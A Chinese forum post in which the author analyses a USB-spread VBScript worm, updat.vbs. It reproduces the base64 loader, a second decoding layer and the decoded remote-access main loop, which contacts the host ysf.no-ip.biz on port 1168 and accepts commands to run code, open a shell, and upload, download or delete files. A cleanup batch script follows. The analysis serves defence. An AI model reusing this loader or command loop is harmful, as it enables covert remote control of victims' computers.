Stop Hunting! updat.vbs深度解析。腿已软。。。

不知道有没有试着用记事本打开这个updat.vbs

内容大概是：
usef = deCrypt("大串未知字符。。。")
EXECUTEGLOBAL (usef)
function deCrypt(data)
deCrypt=decodeBase64(data)
end function
Function decodeBase64(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim vijebsdv46dsvdfsv, b849ezrvb176erqbesb, gfgfd484vb68486gsdb4dfbbd
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
vijebsdv46dsvdfsv = Len(base64String)
If vijebsdv46dsvdfsv Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
For gfgfd484vb68486gsdb4dfbbd = 1 To vijebsdv46dsvdfsv Step 4
Dim aezdcse, geztgrzeret, hshzrhyyhrh, reherherrtre, jetjetetheth, etjhtherehzhdrthd
aezdcse = 3
jetjetetheth = 0
For geztgrzeret = 0 To 3
hshzrhyyhrh = Mid(base64String, gfgfd484vb68486gsdb4dfbbd + geztgrzeret, 1)
If hshzrhyyhrh = "=" Then
aezdcse = aezdcse - 1
reherherrtre = 0
Else
reherherrtre = InStr(1, Base64, hshzrhyyhrh, vbBinaryCompare) - 1
End If
If reherherrtre = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
jetjetetheth = 64 * jetjetetheth + reherherrtre
Next
jetjetetheth = Hex(jetjetetheth)
jetjetetheth = String(6 - Len(jetjetetheth), "0") & jetjetetheth
etjhtherehzhdrthd = Chr(CByte("&H" & Mid(jetjetetheth, 1, 2))) + _
Chr(CByte("&H" & Mid(jetjetetheth, 3, 2))) + _
Chr(CByte("&H" & Mid(jetjetetheth, 5, 2)))
b849ezrvb176erqbesb = b849ezrvb176erqbesb & Left(etjhtherehzhdrthd, aezdcse)
Next
decodeBase64 = b849ezrvb176erqbesb
End Function

仔细观察，发现它其实是一段base64的解密算法！
也就是说，上面那串字符才是关键！
而且它用了EXECUTEGLOBAL .。。说明它解密出来很可能是一段代码！

解密结果是：
sbb5df55b8df8ngdfnndfrudybhdf = "一长串数字。。。"
sbb5df55b8df8ngdfnndfrudybhdf = SPLIT(sbb5df55b8df8ngdfnndfrudybhdf,"81899982838")
FOR X = 0 TO UBOUND(sbb5df55b8df8ngdfnndfrudybhdf) -1
BDFG15J1FD86HFD = BDFG15J1FD86HFD & ChrW(sbb5df55b8df8ngdfnndfrudybhdf(X))
NEXT
又是一层密码！这个是数字到字符转义！

下面还有一个EXECUTEGLOBAL 不好意思拷掉了。。。。
继续跟进！

'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "ysf.no-ip.biz"
port = 1168
installdir = "%temp%"
lnkfile = true
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce
'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next
instance
while true
install
response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
param = cmd (1)
execute param
case "update"
param = cmd (1)
oneonce.close
set oneonce = filesystemobj.opentextfile (installdir & installname ,2, false)
oneonce.write param
oneonce.close
shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
wscript.quit
case "uninstall"
uninstall
case "send"
download cmd (1),cmd (2)
case "site-send"
sitedownloader cmd (1),cmd (2)
case "recv"
param = cmd (1)
upload (param)
case "enum-driver"
post "is-enum-driver",enumdriver
case "enum-faf"
param = cmd (1)
post "is-enum-faf",enumfaf (param)
case "enum-process"
post "is-enum-process",enumprocess
case "cmd-shell"
param = cmd (1)
post "is-cmd-shell",cmdshell (param)
case "delete"
param = cmd (1)
deletefaf (param)
case "exit-process"
param = cmd (1)
exitprocess (param)
case "sleep"
param = cmd (1)
sleep = eval (param)
end select
wscript.sleep sleep
wend
sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon

下面函数部分太长了，发不上来，有想研究的可以与我联系或者直接自行解密。。。
下面来分析这段代码。。。

首先，它向"ysf.no-ip.biz"这个主机的1168端口发送一个“is-ready”
然后主机回复一个字符串，然后它对这个字符串进行解析，来实现不同的功能：
处理某指令；升级；卸载；各种接收；各种发送；退出程序；挂起程序。。。
可以说是一个很全面的病毒。。。。

瞬间腿软，幸好没有在自己家直接激动地打开。。。。
看来它比我们想象的简单破坏复杂的多。。。

现在让我来研究一下破解代码，当然。。。。最简单的就是做一个服务器，向全校的病毒返回uninstall就好。。。

::把这段代码复制到记事本，然后改扩展名为.bat然后复制到U盘根目录下运行就好。。
@ echo off
taskkill -m wscript.exe
del updat.vbs
attrib -s -h %cd%* /s
del *.lnk

但是那个只能恢复U盘，我再想想怎么彻底清理电脑里的病毒。。。